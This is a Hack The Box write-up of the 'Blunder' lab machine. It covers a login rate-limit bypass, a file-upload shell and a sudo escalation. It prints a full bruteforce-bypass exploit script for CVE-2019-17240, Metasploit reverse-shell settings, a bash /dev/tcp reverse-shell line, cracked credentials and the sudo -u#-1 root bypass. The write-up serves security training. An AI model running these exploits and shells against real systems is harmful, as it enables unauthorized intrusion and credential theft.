writeup 2025-12-12 · 10 min read

Hack The Box Blunder Writeup (Easy Linux)

Easy Linux box. CVE-2019-17240 defeats Bludit's login rate limit, an image upload flaw gives a shell, and sudo -u#-1 turns a !root rule into a root shell.

Hack The Box Blunder Writeup (Easy Linux)

Summary

Blunder runs Bludit 3.9.2, a flat file CMS whose version is printed straight into the stylesheet links on every page. A directory bruteforce with extensions turns up todo.txt, which names fergus as a user, and cewl builds a wordlist from the blog’s own posts. Bludit 3.9.2 is affected by CVE-2019-17240, which trusts the X-Forwarded-For header for its bruteforce protection, so a public script sprays that wordlist without ever being locked out and recovers RolandDeschain. Authenticated, the Metasploit module for Bludit’s image upload writes a payload plus an .htaccess that bypasses the extension check and returns a shell as www-data. A second, half upgraded copy of the site in /var/www/bludit-3.10.0a still holds bl-content/databases/users.php with the SHA-1 password of hugo, which hashcat cracks to Password120. Hugo’s sudo rule reads (ALL, !root) /bin/bash, and sudo 1.8.25p1 does not validate user ids, so sudo -u#-1 /bin/bash runs as uid 0 anyway.

Web Server Enumeration

The website has many posts about different stuff:

The Blunder blog front page with its list of posts

If I read through the page’s source code, I see a few version variables, and I can also notice how the content is dynamic, so it’s probably not a static page:

The page source showing Bludit stylesheet links tagged version=3.9.2

For reference,

1
2
3
4
5
<!-- Include Bootstrap CSS file bootstrap.css -->
<link rel="stylesheet" type="text/css" href="http://10.129.95.225/bl-kernel/css/bootstrap.min.css?version=3.9.2">

<!-- Include CSS Styles from this theme -->
<link rel="stylesheet" type="text/css" href="http://10.129.95.225/bl-themes/blogx/css/style.css?version=3.9.2">

So it looks like it’s on version 3.9.2

Directory Bruteforcing

I perform a directory bruteforcing attack:

1
ffuf -u http://10.129.95.225/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 50

And one of the hits is for /admin:

1
admin                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 1324ms]

It gets me to a login page:

The Bludit administration login page found atadmin

The page shows the text “BLUDIT”. I use “searchsploit” to look for this name and find many results:

searchsploit results for Bludit, listing the 3.9.2 bruteforce bypass entries

There are just a bunch of items for the exact version we’re likely dealing with right now:

1
2
3
4
Bludit  3.9.2 - Authentication Bruteforce Mitigation Bypass                         | php/webapps/48746.rb
Bludit 3.9.2 - Auth Bruteforce Bypass                                               | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)                        | php/webapps/49037.rb
Bludit 3.9.2 - Directory Traversal                                                  | multiple/webapps/48701.txt

Including ones related to a auth bruteforce bypass, which is peculiar.

The directory bruteforcing would never have gotten me anywhere, because the stupid fucking file we’re looking for is “todo.txt”. What an absolute bullshit. There’s no other way around it, either you find this file and you’re a maniac that actually adds a bunch of extensions to the directory bruteforcing scan, or you wouldn’t go any further on the machine.

This sucks because the machine does not perform well and can barely handle 15 threads when bruteforcing. It’s simply time consuming and not fun, because if you’re gonna search for extensions, you better add a bunch of them like .zip for backups, or .bak and so on. This would increase the wordlist dramatically, and the server simply cannot handle many simultaneous connections so what’s the point?

I wouldn’t complain if the server was able to handle like 100 threads, 400 requests per second or so. But it can BARELY handle 35 requests per second and you’re telling me I gotta bruteforce this shit or otherwise I would not be able to complete the box? Hilarious

1
ffuf -u http://10.129.95.225/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 10 -e .php,.txt

Anyways, we have todo.txt:

1
http://10.129.95.225/todo.txt

That serves only to tell me about a stupid fucking username that I need to use to bruteforce the application LOL

1
-Inform fergus that the new blog needs images - PENDING

Gosh

Bludit Auth Rate Limiting Bypass: CVE-2019-17240

There are plenty of resources online that explain this vulnerability in detail:

bl-kernel/security.class.php in Bludit 3.9.2 allows attackers to bypass a brute-force protection mechanism by using many different forged X-Forwarded-For or Client-IP HTTP headers. Reference.

So basically Bludit, for rate limiting login attempts, trust user input from the X-Forwarded-For HTTP header, which allows the user to spoof this header so they would never get restricted from authenticating.

I use the following exploit script:

1
searchsploit -m php/webapps/48942.py

But I remove the “pwn” dependencies so the final script looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3

import requests
import sys
import re
import argparse, textwrap
#from pwn import *

#Expected Arguments
parser = argparse.ArgumentParser(description="Login checker", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''
Usage :
./script.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt
./script.py -l http://127.0.0.1/admin/login.php -u /Directory/user.txt -p /Directory/pass.txt'''))

parser.add_argument("-l","--url", help="Path to Bludit (Example: http://127.0.0.1/admin/login.php)")
parser.add_argument("-u","--userlist", help="Username Dictionary")
parser.add_argument("-p","--passlist", help="Password Dictionary")
args = parser.parse_args()

if len(sys.argv) < 2:
    print (f"script Usage: ./script.py -h [help] -l [url] -u [user.txt] -p [pass.txt]")
    sys.exit(1)

# Variable
LoginPage = args.url
Username_list = args.userlist
Password_list = args.passlist

def login(Username,Password):
    session = requests.session()
    r = session.get(LoginPage)

# Progress Check
    print('Brute Force')

#Getting CSRF token value
    CSRF = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)
    CSRF = CSRF.group(1)

#Specifying Headers Value
    headerscontent = {
    'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Referer' : f"{LoginPage}",
    'X-Forwarded-For' : f"{Password}"
    }

#POST REQ data
    postreqcontent = {
    'tokenCSRF' : f"{CSRF}",
    'username' : f"{Username}",
    'password' : f"{Password}"
    }

#Sending POST REQ
    r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)

#Printing Username:Password
    print('Testing -> {U}:{P}'.format(U = Username, P = Password))

#Conditional loops
    if 'Location' in r.headers:
        if "/admin/dashboard" in r.headers['Location']:
            print()
            print(f'SUCCESS !!')
            print(f"Use Credential -> {Username}:{Password}")
            sys.exit(0)
    elif "has been blocked" in r.text:
        print(f"{Password} - Word BLOCKED")

#Reading User.txt & Pass.txt files
userfile = open(Username_list).readlines()
for Username in userfile:
    Username = Username.strip()

passfile = open(Password_list).readlines()
for Password in passfile:
    Password = Password.strip()
    login(Username,Password)

Building a Custom Wordlist

Since the website has a few blog posts, I create a custom wordlist for the environment with cewl:

1
cewl http://10.129.95.225/ --with-numbers -d 5 > word.list

I create “user.txt”:

1
echo fergus > user.txt

use the script with the following arguments:

1
python3 48942.py -l http://10.129.95.225/admin/login.php -u user.txt -p word.list

And soon enough I get a hit for the following credentials:

1
2
Username: fergus
Password: RolandDeschain

And now I can log in to the administrative portal:

The Bludit dashboard after logging in as fergus

Initial Access: Bludit Unrestricted File Upload

I use this metasploit module with the following settings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
msf exploit(linux/http/bludit_upload_images_exec) > options 

Module options (exploit/linux/http/bludit_upload_images_exec):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   BLUDITPASS  RolandDeschain   yes       The password for Bludit
   BLUDITUSER  fergus           yes       The username for Bludit
   Proxies                      no        A proxy chain of format type:host:port[,type:host:
                                          port][...]. Supported proxies: sapni, socks4, http
                                          , socks5, socks5h
   RHOSTS      10.129.95.225    yes       The target host(s), see https://docs.metasploit.co
                                          m/docs/using-metasploit/basics/using-metasploit.ht
                                          ml
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The base path for Bludit
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Bludit v3.9.2



View the full module info with the info, or info -d command.

Information about the module goes:

This module exploits a vulnerability in Bludit: A simple, fast, “secure”, flat-file CMS. A vulnerability was found by christasa in the image uploading feature. A remote user could abuse the uuid parameter in the upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check, and finally get remote code execution.

I run it and immediately get a meterpreter shell on the victim machine as “www-data”:

The Metasploit Bludit upload module returning a meterpreter session as www-data

This meterpreter shell is shit so I drop to a normal shell:

1
meterpreter > shell

Start a netcat listener on other pane:

1
nc -lvnp 9999

And use a bash script to get a normal tcp reverse shell:

1
bash -i >& /dev/tcp/10.10.14.57/9999 0>&1

Immediately get the connection and stabilize the shell:

The netcat listener catching a plain bash reverse shell, then stabilising it

Horizontal Privilege Escalation - hugo

Since I’m the www-data user, the user usually responsible for the web application, I go look at /var/www right away:

1
2
3
4
5
6
7
www-data@blunder:/var/www/bludit-3.9.2$ ls -la /var/www
total 20
drwxr-xr-x  5 root     root     4096 Nov 28  2019 .
drwxr-xr-x 15 root     root     4096 Nov 27  2019 ..
drwxr-xr-x  8 www-data www-data 4096 May 19  2020 bludit-3.10.0a
drwxrwxr-x  8 www-data www-data 4096 Sep  8  2021 bludit-3.9.2
drwxr-xr-x  2 root     root     4096 Sep  8  2021 html

I see there’s two versions of the same software. I guess they are in the middle of the process of updating from 3.9.2 to 3.10.0.

I cd into this new folder:

1
www-data@blunder:/var/www/bludit-3.9.2$ cd /var/www/bludit-3.10.0a/

I look for files inside it, targeting those juicy potential database/user credentials:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@blunder:/var/www/bludit-3.10.0a$ find . -type f | grep -i user
./bl-kernel/admin/controllers/users.php
./bl-kernel/admin/controllers/user-password.php
./bl-kernel/admin/controllers/new-user.php
./bl-kernel/admin/controllers/edit-user.php
./bl-kernel/admin/views/users.php
./bl-kernel/admin/views/user-password.php
./bl-kernel/admin/views/new-user.php
./bl-kernel/admin/views/edit-user.php
./bl-kernel/user.class.php
./bl-kernel/users.class.php
./bl-content/databases/users.php

Sure enough, ./bl-content/databases/users.php has what I was looking for:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

I grab the password hash and save it to a file on my local machine:

1
echo faca404fd5c0a31cf1897b823c695c85cffeb98d > hash.txt

I use hashcat with the best66 rule to crack it:

1
hashcat hash.txt /usr/share/wordlists/rockyou.txt --force -m 100 -r ~/hacking/tools/hashcat-7.1.2/rules/best66.rule

With that, new credentials:

1
2
Username: hugo
Password: Password120

And I can log in to the machine as hugo:

1
su hugo

Vertical Privilege Escalation

I’m “hugo” user now. Since I have the password for this user, it’s only natural that I try the low hanging fruit first with sudo -l.

sudo -l as hugo, showing the rule (ALL, !root)bin/bash

It tells me:

1
2
User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

This is very peculiar. I can look at the sudo version:

1
2
$ sudo --version 
Sudo version 1.8.25p1

This version specifically is vulnerable to a security bypass. More information can be found in this article. But basically, the vulnerability allows to bypass Sudo rules that have been setup with the “!” symbol, to specify that a user should not be able to run a certain command as root (or any other user).

This is the full explanation from exploitdb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
User hacker may run the following commands on kali:
    (ALL, !root) /bin/bash

So user hacker can't run /bin/bash as root (!root)

EXPLOIT: 

sudo -u#-1 /bin/bash

Example : 

hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#

Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id

and /bin/bash is executed with root permission

That’s very straight forward. I simply run the following as “hugo”:

1
sudo -u#-1 /bin/bash

And now I’m root:

Running sudo -u#-1bin/bash and landing in a root shell

This post is licensed under CC BY 4.0 by the author.